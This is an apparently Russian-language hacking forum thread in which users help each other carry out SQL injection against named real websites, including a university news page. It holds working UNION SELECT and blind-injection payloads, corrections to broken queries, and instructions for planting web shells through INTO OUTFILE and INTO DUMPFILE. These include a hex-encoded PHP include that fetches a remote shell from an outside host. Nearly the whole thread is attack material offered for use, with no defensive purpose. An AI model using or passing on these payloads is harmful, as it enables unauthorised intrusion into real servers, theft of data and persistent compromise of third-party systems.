http://www.umoncton.ca/nouvelles/info.php?id=8297-2 http://www.umoncton.ca/nouvelles/info.php?id=8297+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 Здесь была классическая sql-inj , но некоторое время назад произошли какие-то изменения и скуля не работает как раньше. Не могу въехать что конкретно за изменения произошли. Кто может разобраться в чем дело? Ну и конечно как это дело обойти?
Собственно нид хелп... Кручу один сайтец. Собственно там mysql blind Вот такими запросами вытащил имя базы/имя юзверя. 3183' /*!30000and ascii(substring((database()),7,1))=97 and*/ 'x'='x А теперь вопрос: 3183' /*!30000and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))<60 and*/ 'x'='x отказывается отрабатывать. ЧЯДНТ? Помогите, пожалуйста)
to RuDefc0n Code: length(select schema_name from information_schema.schemata limit 0,1)<32 and*/ 'x'='x И зачем нужен был DISTINCT или ты думаешь есть БД с одинаковыми названиями?
А какая версия Мускула в вашем случае, позвольте полюбопытствовать? Вы уверены, что она, версия, больше или равна 5-ой?
to Га-Ноцри Там версия 5.0.92, только вот у пользователя нет доступа к information_schema, в этом то вся и загвоздка была!
Ясно Ну я так, на всякий случай спросил Просто иногда бывает тяжело искать темную кошку в темной комнате, особенно если ее там нет
а.)запрос не зафолсен б.)комментарий не поставлен синтаксически верный запрос Code: http://www.umoncton.ca/nouvelles/info.php?id=8297+[b]and+0[/b]+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39[b]%23[/b]
Не могу разобраться с заливкой веб-шелла через MySQL inj. Вот пример: В первом выделенном фрагменте я указал текст, во втором я указал УНИКАЛЬНЫЙ путь до файла. Почему он мне выдает ошибку синтаксиса SQL?
Ты так не зальешь шелл. Путь к файлу надо указывать не в hex'е. Только так, например into outfile '/var/www/site.com/shell.php'
Потому что, как написал уже товарищ выше, строку, а здесь конкретно содержащую полный путь на сервере, нужно заключить в одинарные или двойные кавычки (согласно доку по мускулю), если же они фильтруются, то искать другие способы заливки.Грубо говоря, путь нужно в запросе передавать напрямую, а не в каком-либо ином виде.
Спасибо t3cHn0iD,Dr.Strangelove! А чуть не забыл, еще вопрос: в ФАКЕ об заливке через mysql inj, написан вот такой пример: Мне не понятно именно этот момент, зачем здесь указывать имя БД? Это вообще обязательно? Вот например SQL inj: Данная конструкция будет работать, или же сначала нужно через information_schema вытащить БД?
можно ли обойти такую xss фильтрацию? $interzis = array(";", '"', "<", ">", "=", "'", "script", "?php", "%>", "INSERT", "UPDATE", "DROP"); $replace = array("");
код самого шела переведи в хекс, в итоге у тебя место <?php include "http://www.site.com/shell.php"?> должно быть 0x3c3f70687020696e636c7564652022687474703a2f2f7777772e736974652e636f6d2f7368656c6c2e706870223f3e Пример: PHP: http://imgenex.com/view_data_page.php?id=1-1+UNION+SELECT+null,0x3c3f70687020696e636c7564652022687474703a2f2f7777772e736974652e636f6d2f7368656c6c2e706870223f3e,null,null,null,null,null+into+dumpfile+'/tmp/25aa.php'+--+